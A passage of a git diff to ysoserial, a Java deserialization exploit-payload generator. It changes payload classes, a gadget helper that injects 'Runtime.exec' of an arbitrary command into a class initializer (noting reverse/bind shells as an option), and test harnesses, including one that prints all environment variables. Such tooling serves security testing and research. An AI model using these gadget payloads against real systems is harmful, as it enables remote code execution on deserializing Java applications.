@@ -41,7 +41,7 @@ import ysoserial.payloads.util.Reflections;
|
||||
*
|
||||
*/
|
||||
@SuppressWarnings({ "rawtypes", "unchecked" })
|
||||
@PayloadTest(harness="ysoserial.test.payloads.DnsLookupTest")
|
||||
@PayloadTest(skip = "true")
|
||||
@Dependencies()
|
||||
@Authors({ Authors.GEBL })
|
||||
public class URLDNS implements ObjectPayload<Object> {
|
||||
|
||||
@@ -49,7 +49,7 @@ import ysoserial.payloads.util.Reflections;
|
||||
@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition")
|
||||
@Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"})
|
||||
@Authors({ Authors.JACOBAINES })
|
||||
public class Wicket1 implements PostSerializeReleasable<DiskFileItem> {
|
||||
public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
|
||||
|
||||
public DiskFileItem getObject(String command) throws Exception {
|
||||
|
||||
@@ -77,7 +77,7 @@ public class Wicket1 implements PostSerializeReleasable<DiskFileItem> {
|
||||
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
|
||||
}
|
||||
|
||||
public void postSerializeRelease(DiskFileItem obj) throws Exception {
|
||||
public void release(DiskFileItem obj) throws Exception {
|
||||
}
|
||||
|
||||
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
|
||||
|
||||
@@ -23,14 +23,8 @@ public @interface Authors {
|
||||
String SCRISTALLI = "scristalli";
|
||||
String HANYRAX = "hanyrax";
|
||||
String EDOARDOVIGNATI = "EdoardoVignati";
|
||||
String YKOSTER = "ykoster";
|
||||
String MEIZJM3I = "meizjm3i";
|
||||
String SCICCONE = "sciccone";
|
||||
String ZEROTHOUGHTS = "zerothoughts";
|
||||
String NAVALORENZO = "navalorenzo";
|
||||
String JANG = "Jang";
|
||||
String ARTSPLOIT = "artsploit";
|
||||
String K4n5ha0 = "k4n5ha0";
|
||||
|
||||
String[] value() default {};
|
||||
|
||||
|
||||
@@ -114,7 +114,9 @@ public class Gadgets {
|
||||
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
|
||||
// run command in static initializer
|
||||
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
||||
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + escapeForJavaString(command) + "\");";
|
||||
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
|
||||
command.replace("\\", "\\\\").replace("\"", "\\\"") +
|
||||
"\");";
|
||||
clazz.makeClassInitializer().insertAfter(cmd);
|
||||
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
|
||||
clazz.setName("ysoserial.Pwner" + System.nanoTime());
|
||||
@@ -134,10 +136,6 @@ public class Gadgets {
|
||||
return templates;
|
||||
}
|
||||
|
||||
public static String escapeForJavaString(String command) {
|
||||
return command.replace("\\", "\\\\").replace("\"", "\\\"");
|
||||
}
|
||||
|
||||
|
||||
public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
||||
IllegalAccessException, InvocationTargetException {
|
||||
|
||||
@@ -2,6 +2,7 @@ package ysoserial.payloads.util;
|
||||
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
import ysoserial.Deserializer;
|
||||
import ysoserial.Serializer;
|
||||
import static ysoserial.Deserializer.deserialize;
|
||||
import static ysoserial.Serializer.serialize;
|
||||
@@ -15,40 +16,30 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
|
||||
@SuppressWarnings("unused")
|
||||
public class PayloadRunner {
|
||||
|
||||
public static <T> T run(final Class<? extends ObjectPayload<T>> clazz, final String[] args) throws Exception {
|
||||
return run(clazz, args, false);
|
||||
}
|
||||
|
||||
public static <T> T run(final Class<? extends ObjectPayload<T>> clazz, final String[] args, boolean releasePostDeserialize) throws Exception {
|
||||
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
|
||||
// ensure payload generation doesn't throw an exception
|
||||
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
|
||||
public byte[] call() throws Exception {
|
||||
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
|
||||
|
||||
System.out.println("generating payload object(s) for command: '" + command + "'");
|
||||
|
||||
final ObjectPayload<?> payload = clazz.newInstance();
|
||||
|
||||
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
|
||||
public byte[] call() throws Exception {
|
||||
|
||||
ObjectPayload<?> payload = clazz.newInstance();
|
||||
final Object objBefore = payload.getObject(command);
|
||||
|
||||
System.out.println("serializing payload");
|
||||
byte[] ser = Serializer.serialize(objBefore);
|
||||
Utils.postSerializeRelease(payload, objBefore);
|
||||
Utils.releasePayload(payload, objBefore);
|
||||
return ser;
|
||||
}});
|
||||
|
||||
try {
|
||||
System.out.println("deserializing payload");
|
||||
T deserialize = (T) deserialize(serialized);
|
||||
if (releasePostDeserialize) {
|
||||
Utils.postDeserializeRelease(payload, deserialize);
|
||||
}
|
||||
return deserialize;
|
||||
final Object objAfter = Deserializer.deserialize(serialized);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private static String getDefaultTestCmd() {
|
||||
|
||||
@@ -1,6 +1,9 @@
|
||||
package ysoserial.payloads.util;
|
||||
|
||||
import java.lang.reflect.*;
|
||||
import java.lang.reflect.AccessibleObject;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
|
||||
import sun.reflect.ReflectionFactory;
|
||||
|
||||
@@ -29,47 +32,24 @@ public class Reflections {
|
||||
try {
|
||||
field = clazz.getDeclaredField(fieldName);
|
||||
setAccessible(field);
|
||||
} catch (NoSuchFieldException ex) {
|
||||
}
|
||||
catch (NoSuchFieldException ex) {
|
||||
if (clazz.getSuperclass() != null)
|
||||
field = getField(clazz.getSuperclass(), fieldName);
|
||||
}
|
||||
field.setAccessible(true);
|
||||
|
||||
try {
|
||||
Field modifiersField = Field.class.getDeclaredField("modifiers");
|
||||
modifiersField.setAccessible(true);
|
||||
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return field;
|
||||
}
|
||||
|
||||
public static void setFieldValue(Object obj, final String fieldName, final Object value) throws Exception {
|
||||
Class clazz = obj instanceof Class ? (Class) obj : obj.getClass();
|
||||
obj = obj instanceof Class ? null : obj;
|
||||
final Field field = getField(clazz, fieldName);
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
public static Object getFieldValue(Object obj, final String fieldName) throws Exception {
|
||||
Class clazz = obj instanceof Class ? (Class) obj : obj.getClass();
|
||||
obj = obj instanceof Class ? null : obj;
|
||||
final Field field = getField(clazz, fieldName);
|
||||
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
public static Object getFieldValues(Object obj, final String ... fieldNames) throws Exception {
|
||||
for (String fieldName : fieldNames) {
|
||||
if (obj == null) {
|
||||
throw new NullPointerException();
|
||||
}
|
||||
obj = getFieldValue(obj, fieldName);
|
||||
}
|
||||
return obj;
|
||||
}
|
||||
|
||||
public static Constructor<?> getFirstCtor(final String name) throws Exception {
|
||||
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
|
||||
setAccessible(ctor);
|
||||
|
||||
@@ -1,21 +0,0 @@
|
||||
package ysoserial.secmgr;
|
||||
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
public class SecurityManagers {
|
||||
public static <T> Callable<T> wrapped(final Callable<T> callable, final SecurityManager sm) throws Exception {
|
||||
final SecurityManager orig = System.getSecurityManager(); // save sm
|
||||
return new Callable<T>() {
|
||||
@Override
|
||||
public T call() throws Exception {
|
||||
System.setSecurityManager(sm);
|
||||
try {
|
||||
return callable.call();
|
||||
} finally {
|
||||
System.setSecurityManager(orig); // restore sm
|
||||
}
|
||||
|
||||
}
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
org.reflections.level=WARNING
|
||||
@@ -2,21 +2,10 @@ package ysoserial;
|
||||
|
||||
import org.junit.Test;
|
||||
|
||||
import java.util.Map;
|
||||
import java.util.TreeMap;
|
||||
|
||||
public class CiTest {
|
||||
@Test
|
||||
public void test() {
|
||||
for (Map.Entry<Object,Object> e : new TreeMap<Object,Object>(System.getProperties()).entrySet()) {
|
||||
System.out.println("System property " + e.getKey() + " : " + e.getValue());
|
||||
}
|
||||
for (Map.Entry<String,String> e : new TreeMap<String,String>(System.getenv()).entrySet()) {
|
||||
System.out.println("System env " + e.getKey() + " : " + e.getValue());
|
||||
}
|
||||
}
|
||||
|
||||
public static void main(String[] args) {
|
||||
new CiTest().test();
|
||||
System.out.println("System.getProperties(): " + System.getProperties());
|
||||
System.out.println("System.getenv(): " + System.getenv());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -10,7 +10,7 @@ import java.util.UUID;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
public class CommandExecTest implements CustomTest {
|
||||
protected final File testFile =
|
||||
private final File testFile =
|
||||
new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", ""));
|
||||
|
||||
@Override
|
||||
@@ -28,14 +28,10 @@ public class CommandExecTest implements CustomTest {
|
||||
|
||||
@Override
|
||||
public String getPayloadArgs() {
|
||||
return getTouchCmd(testFile.toString());
|
||||
}
|
||||
|
||||
public static String getTouchCmd(String file) {
|
||||
switch (OS.get()) {
|
||||
case OSX:
|
||||
case LINUX: return "touch " + file;
|
||||
case WINDOWS: return "powershell -command new-item -type file " + file;
|
||||
case LINUX: return "touch " + testFile;
|
||||
case WINDOWS: return "powershell -command new-item -type file " + testFile;
|
||||
default: throw new UnsupportedOperationException("unsupported os");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,54 +0,0 @@
|
||||
package ysoserial.test.payloads;
|
||||
|
||||
import org.junit.Assert;
|
||||
import sun.security.util.SecurityConstants;
|
||||
import ysoserial.payloads.URLDNS;
|
||||
import ysoserial.secmgr.SecurityManagers;
|
||||
import ysoserial.test.CustomTest;
|
||||
import ysoserial.test.util.Randomized;
|
||||
import ysoserial.test.util.RecordingNameService;
|
||||
import ysoserial.test.util.RecordingSecurityManager;
|
||||
|
||||
import java.net.SocketPermission;
|
||||
import java.security.Permission;
|
||||
import java.util.LinkedList;
|
||||
import java.util.List;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
public class DnsLookupTest implements CustomTest {
|
||||
private final String testDomain = Randomized.randUUID();
|
||||
|
||||
@Override
|
||||
public void run(Callable<Object> payload) throws Exception {
|
||||
// RecordingSecurityManager sm = new RecordingSecurityManager();
|
||||
|
||||
RecordingNameService ns = new RecordingNameService();
|
||||
// Assert.assertFalse("should not have resolved domain",
|
||||
// sm.getChecks().contains(new SocketPermission(testDomain, SecurityConstants.SOCKET_RESOLVE_ACTION)));
|
||||
Assert.assertFalse("should not have resolved domain", ns.getLookups().contains(testDomain));
|
||||
try {
|
||||
// SecurityManagers.wrapped(payload, sm).call();
|
||||
ns.install();
|
||||
payload.call();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
} finally {
|
||||
ns.uninstall();
|
||||
}
|
||||
|
||||
|
||||
Assert.assertTrue("should have resolved domain", ns.getLookups().contains(testDomain));
|
||||
// Assert.assertTrue("should have resolved domain",
|
||||
// sm.getChecks().contains(new SocketPermission(testDomain, SecurityConstants.SOCKET_RESOLVE_ACTION)));
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getPayloadArgs() {
|
||||
return "http://" + testDomain;
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
PayloadsTest.testPayload(URLDNS.class);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,40 +0,0 @@
|
||||
package ysoserial.test.payloads;
|
||||
|
||||
import org.junit.Assert;
|
||||
import ysoserial.payloads.Scala;
|
||||
import ysoserial.test.CustomTest;
|
||||
import ysoserial.test.util.Files;
|
||||
import ysoserial.test.util.OS;
|
||||
import ysoserial.test.util.Randomized;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
public class EmptyFileWriteTest implements CustomTest {
|
||||
private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Randomized.randUUID());
|
||||
private final String testContent = Randomized.randUUID();
|
||||
|
||||
@Override
|
||||
public void run(Callable<Object> payload) throws Exception {
|
||||
Assert.assertFalse("test file should not exist", testFile.exists());
|
||||
try {
|
||||
payload.call();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Files.waitForFile(testFile, 5000);
|
||||
Assert.assertTrue("test file should exist", testFile.exists());
|
||||
Assert.assertEquals(0, testFile.length());
|
||||
testFile.deleteOnExit();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getPayloadArgs() {
|
||||
return testFile.toString();
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
PayloadsTest.testPayload(Scala.ScalaCreateZeroFile.class, new Class[0]);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,60 +0,0 @@
|
||||
package ysoserial.test.payloads;
|
||||
|
||||
import org.junit.Assert;
|
||||
import sun.rmi.transport.ObjectTable;
|
||||
import ysoserial.exploit.JRMPClient;
|
||||
import ysoserial.payloads.JRMPListener;
|
||||
import ysoserial.test.CustomTest;
|
||||
import ysoserial.test.util.Files;
|
||||
import ysoserial.test.util.ObjectInputFilters;
|
||||
import ysoserial.test.util.Randomized;
|
||||
|
||||
import java.io.File;
|
||||
import java.rmi.Remote;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
|
||||
private final File testFile = Files.getTestFile();
|
||||
|
||||
private final int port = Randomized.randPort();
|
||||
|
||||
@Override
|
||||
public void run(Callable<Object> payload) throws Exception {
|
||||
Assert.assertFalse("test file shouldn't exist", testFile.exists());
|
||||
|
||||
// ObjectInputFilters.disableDcgFilter();
|
||||
|
||||
// open listener
|
||||
Remote res = (Remote) payload.call();
|
||||
|
||||
try {
|
||||
// send payload
|
||||
JRMPClient.makeDGCCall("localhost", port, new TestHarnessTest.ExecMockSerializable(CommandExecTest.getTouchCmd(testFile.toString())));
|
||||
|
||||
Files.waitForFile(testFile, 1000);
|
||||
|
||||
Assert.assertTrue("test file should exist", testFile.exists());
|
||||
} finally {
|
||||
// close listener
|
||||
// TODO move to postDeserRelease
|
||||
ObjectTable.unexportObject(res, true);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getPayloadArgs() {
|
||||
return "" + port;
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
// ObjectInputFilters.disableDcgFilter();
|
||||
PayloadsTest.testPayload(JRMPListener.class);
|
||||
}
|
||||
|
||||
public Class[] getAddlClasses() {
|
||||
// not applicable because of unconfigurable DGC native classloader
|
||||
return new Class[] { /* TestHarnessTest.ExecMockSerializable.class */ };
|
||||
}
|
||||
|
||||
}
|
||||
@@ -4,7 +4,6 @@ package ysoserial.test.payloads;
|
||||
import java.net.URL;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
import ysoserial.payloads.JRMPClient;
|
||||
import ysoserial.test.WrappedTest;
|
||||
import ysoserial.exploit.JRMPListener;
|
||||
|
||||
@@ -17,11 +16,17 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
|
||||
|
||||
private int jrmpPort;
|
||||
|
||||
public JRMPReverseConnectSMTest () {
|
||||
|
||||
public JRMPReverseConnectSMTest (String command) {
|
||||
super(command);
|
||||
// some payloads cannot specify the port
|
||||
jrmpPort = 1099;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
@@ -53,9 +58,7 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
|
||||
return "localhost:" + jrmpPort;
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
// System.setProperty("java.rmi.server.useCodebaseOnly", "false");
|
||||
PayloadsTest.testPayload(JRMPClient.class);
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
@@ -7,13 +7,8 @@ import javax.management.BadAttributeValueExpException;
|
||||
|
||||
import org.junit.Assert;
|
||||
|
||||
import ysoserial.payloads.Atomikos;
|
||||
import ysoserial.payloads.Hibernate2;
|
||||
import ysoserial.payloads.JRMPClient;
|
||||
import ysoserial.payloads.URLDNS;
|
||||
import ysoserial.test.CustomTest;
|
||||
import ysoserial.exploit.JRMPListener;
|
||||
import ysoserial.test.util.ObjectInputFilters;
|
||||
|
||||
|
||||
/**
|
||||
@@ -35,12 +30,16 @@ public class JRMPReverseConnectTest implements CustomTest {
|
||||
|
||||
|
||||
public void run ( Callable<Object> payload ) throws Exception {
|
||||
DnsLookupTest innerTest = new DnsLookupTest();
|
||||
JRMPListener l = new JRMPListener(port, new URLDNS().getObject(innerTest.getPayloadArgs()));
|
||||
JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo"));
|
||||
Thread t = new Thread(l, "JRMP listener");
|
||||
try {
|
||||
t.start();
|
||||
innerTest.run(payload);
|
||||
try {
|
||||
payload.call();
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
// ignore
|
||||
}
|
||||
Assert.assertTrue("Did not have connection", l.waitFor(1000));
|
||||
}
|
||||
finally {
|
||||
@@ -52,14 +51,7 @@ public class JRMPReverseConnectTest implements CustomTest {
|
||||
|
||||
|
||||
public String getPayloadArgs () {
|
||||
return "rmi://localhost:" + port + "/ExportObject";
|
||||
// return "rmi:localhost:" + port; // old version
|
||||
// return "localhost:" + port;
|
||||
return "rmi:localhost:" + port;
|
||||
}
|
||||
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
// ObjectInputFilters.disableDcgFilter();
|
||||
PayloadsTest.testPayload(JRMPClient.class); // broken by sun.rmi.transport.DGCImpl_Stub.leaseFilter
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,15 +0,0 @@
|
||||
package ysoserial.test.payloads;
|
||||
|
||||
import ysoserial.payloads.Myfaces3;
|
||||
import ysoserial.test.CustomDeserializer;
|
||||
|
||||
public class MyFacesExecTest extends CommandExecTest implements CustomDeserializer {
|
||||
// FIXME replace CustomDeserializer with inner payload wrapper (w/ limited classloader)
|
||||
public Class<?> getCustomDeserializer () {
|
||||
return MyfacesTest.MyfacesDeserializer.class;
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
PayloadsTest.testPayload(Myfaces3.class);
|
||||
}
|
||||
}
|
||||
@@ -23,7 +23,7 @@ import org.mockito.Mockito;
|
||||
import org.mockito.invocation.InvocationOnMock;
|
||||
import org.mockito.stubbing.Answer;
|
||||
|
||||
import ysoserial.payloads.Myfaces2;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
import ysoserial.test.CustomDeserializer;
|
||||
import ysoserial.Deserializer;
|
||||
|
||||
@@ -34,53 +34,31 @@ import ysoserial.Deserializer;
|
||||
*/
|
||||
public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer {
|
||||
|
||||
// FIXME replace CustomDeserializer with inner payload wrapper (w/ limited classloader)
|
||||
|
||||
public MyfacesTest ( String command ) {
|
||||
super(command);
|
||||
}
|
||||
|
||||
|
||||
|
||||
public Class<?> getCustomDeserializer () {
|
||||
return MyfacesDeserializer.class;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* need to use a custom deserializer so that the faces context gets set in the isolated class
|
||||
*
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
|
||||
public static final class MyfacesDeserializer extends Deserializer {
|
||||
|
||||
public static Class<?>[] getExtraDependencies () {
|
||||
return new Class[] {
|
||||
MockRequestContext.class, MockELResolver.class, FacesContextSetter.class
|
||||
MockRequestContext.class, MockELResolver.class
|
||||
};
|
||||
}
|
||||
|
||||
public MyfacesDeserializer ( byte[] bytes ) {
|
||||
super(bytes);
|
||||
}
|
||||
|
||||
|
||||
public static abstract class FacesContextSetter extends FacesContext {
|
||||
public static void set(FacesContext fc) {
|
||||
FacesContext.setCurrentInstance(fc); // protected
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object call () throws Exception {
|
||||
ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();
|
||||
Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());
|
||||
FacesContext ctx = createMockFacesContext();
|
||||
try {
|
||||
FacesContextSetter.set(ctx);
|
||||
return super.call();
|
||||
}
|
||||
finally {
|
||||
FacesContextSetter.set(null);
|
||||
Thread.currentThread().setContextClassLoader(oldTCCL);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static class MockRequestContext implements Answer<Object> {
|
||||
|
||||
private Map<String, Object> attributes = new HashMap<String, Object>();
|
||||
@@ -157,6 +135,29 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
|
||||
|
||||
}
|
||||
|
||||
public MyfacesDeserializer ( byte[] bytes ) {
|
||||
super(bytes);
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public Object call () throws Exception {
|
||||
java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class);
|
||||
Reflections.setAccessible(setFC);
|
||||
ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();
|
||||
Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());
|
||||
FacesContext ctx = createMockFacesContext();
|
||||
try {
|
||||
setFC.invoke(null, ctx);
|
||||
return super.call();
|
||||
}
|
||||
finally {
|
||||
setFC.invoke(null, (FacesContext) null);
|
||||
Thread.currentThread().setContextClassLoader(oldTCCL);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static FacesContext createMockFacesContext () throws MalformedURLException {
|
||||
FacesContext ctx = Mockito.mock(FacesContext.class);
|
||||
CompositeELResolver cer = new CompositeELResolver();
|
||||
@@ -175,13 +176,6 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
|
||||
Mockito.when(ctx.getELContext()).thenReturn(elc);
|
||||
return ctx;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
PayloadsTest.testPayload(Myfaces2.class);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +0,0 @@
|
||||
package ysoserial.test.payloads;
|
||||
|
||||
public interface NeedsAddlClasses {
|
||||
public Class[] getAddlClasses();
|
||||
}
|
||||
@@ -1,26 +1,33 @@
|
||||
package ysoserial.test.payloads;
|
||||
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.io.OutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URL;
|
||||
import java.util.*;
|
||||
import java.net.URLClassLoader;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
import org.jboss.shrinkwrap.resolver.api.maven.Maven;
|
||||
import org.junit.Assume;
|
||||
import org.junit.Test;
|
||||
import org.junit.runner.Description;
|
||||
import org.junit.runner.JUnitCore;
|
||||
import org.junit.runner.Result;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.junit.runner.notification.Failure;
|
||||
import org.junit.runner.notification.RunListener;
|
||||
import org.junit.runners.Parameterized;
|
||||
import org.junit.runners.Parameterized.Parameters;
|
||||
|
||||
import ysoserial.*;
|
||||
import ysoserial.payloads.Atomikos;
|
||||
import ysoserial.payloads.DynamicDependencies;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
import ysoserial.test.CustomTest;
|
||||
@@ -32,10 +39,6 @@ import ysoserial.test.payloads.TestHarnessTest.NoopMockPayload;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.ClassFiles;
|
||||
import ysoserial.test.util.Logging;
|
||||
import ysoserial.test.util.OpenURLClassLoader;
|
||||
import ysoserial.test.util.PayloadListener;
|
||||
import ysoserial.test.util.StdIoRedirection;
|
||||
|
||||
|
||||
/*
|
||||
@@ -65,10 +68,6 @@ public class PayloadsTest {
|
||||
this.payloadClass = payloadClass;
|
||||
}
|
||||
|
||||
public static void testPayload(Class<? extends ObjectPayload<?>> payloadClass) throws Exception {
|
||||
testPayload(payloadClass, new Class[0]);
|
||||
}
|
||||
|
||||
|
||||
@Test
|
||||
public void testPayload () throws Exception {
|
||||
@@ -76,7 +75,7 @@ public class PayloadsTest {
|
||||
}
|
||||
|
||||
|
||||
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, Class<?>[] addlClassesForClassLoader)
|
||||
public static void testPayload ( final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader )
|
||||
throws Exception {
|
||||
System.out.println("Testing payload: " + payloadClass.getName());
|
||||
|
||||
@@ -86,7 +85,7 @@ public class PayloadsTest {
|
||||
|
||||
int tries = 1;
|
||||
if ( t != null ) {
|
||||
if (! isForceTests()) {
|
||||
if (System.getProperty("forceTests") == null) {
|
||||
if ( !t.skip().isEmpty() ) {
|
||||
Assume.assumeTrue(t.skip(), false);
|
||||
}
|
||||
@@ -124,13 +123,6 @@ public class PayloadsTest {
|
||||
customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();
|
||||
}
|
||||
|
||||
if (testHarness instanceof NeedsAddlClasses) {
|
||||
List<Class> classes = new LinkedList<Class>();
|
||||
classes.addAll(Arrays.asList(addlClassesForClassLoader));
|
||||
classes.addAll(Arrays.asList(((NeedsAddlClasses) testHarness).getAddlClasses()));
|
||||
addlClassesForClassLoader = classes.toArray(new Class[classes.size()]);
|
||||
}
|
||||
|
||||
// TODO per-thread secmgr to enforce no detonation during deserialization
|
||||
final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call();
|
||||
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
|
||||
@@ -138,7 +130,7 @@ public class PayloadsTest {
|
||||
callable = ( (WrappedTest) testHarness ).createCallable(callable);
|
||||
}
|
||||
|
||||
|
||||
if (testHarness instanceof CustomTest) {
|
||||
// if marked as flaky try up to 5 times
|
||||
Exception ex = new Exception();
|
||||
for (int i = 0; i < tries; i++) {
|
||||
@@ -151,13 +143,12 @@ public class PayloadsTest {
|
||||
}
|
||||
}
|
||||
if (ex != null) throw ex;
|
||||
System.out.println("Successfully tested payload: " + payloadClass.getName());
|
||||
}
|
||||
|
||||
private static boolean isForceTests() {
|
||||
return System.getProperty("forceTests") != null;
|
||||
}
|
||||
|
||||
|
||||
|
||||
private static Callable<byte[]> makeSerializeCallable ( final Class<? extends ObjectPayload<?>> payloadClass, final String command ) {
|
||||
return new Callable<byte[]>() {
|
||||
|
||||
@@ -165,12 +156,13 @@ public class PayloadsTest {
|
||||
ObjectPayload<?> payload = payloadClass.newInstance();
|
||||
final Object f = payload.getObject(command);
|
||||
byte[] serialized = Serializer.serialize(f);
|
||||
ObjectPayload.Utils.postSerializeRelease(payload, f);
|
||||
ObjectPayload.Utils.releasePayload(payload, f);
|
||||
return serialized;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
private static Callable<Object> makeDeserializeCallable ( PayloadTest t, final Class<?>[] addlClassesForClassLoader, final String[] deps,
|
||||
final byte[] serialized, final Class<?> customDeserializer ) {
|
||||
return new Callable<Object>() {
|
||||
@@ -181,12 +173,14 @@ public class PayloadsTest {
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
private static boolean checkPrecondition ( Class<? extends ObjectPayload<?>> pc, String precondition )
|
||||
throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
||||
Method precondMethod = pc.getMethod(precondition);
|
||||
return (Boolean) precondMethod.invoke(null);
|
||||
}
|
||||
|
||||
|
||||
private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) throws Exception {
|
||||
String[] baseDeps;
|
||||
if ( DynamicDependencies.class.isAssignableFrom(payloadClass) ) {
|
||||
@@ -203,77 +197,146 @@ public class PayloadsTest {
|
||||
return baseDeps;
|
||||
}
|
||||
|
||||
|
||||
static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies, final Class<?> customDeserializer )
|
||||
throws Exception {
|
||||
URL[] urls = getDependencyUrls(dependencies);
|
||||
|
||||
Map<String, byte[]> addlClasses = new HashMap<String, byte[]>();
|
||||
|
||||
for ( Class<?> clazz : classDependencies ) {
|
||||
byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
|
||||
addlClasses.put(clazz.getName(), classAsBytes);
|
||||
}
|
||||
addlClasses.put(Deserializer.class.getName(), ClassFiles.classAsBytes(Deserializer.class));
|
||||
|
||||
if (customDeserializer != null) {
|
||||
try {
|
||||
Method method = customDeserializer.getMethod("getExtraDependencies");
|
||||
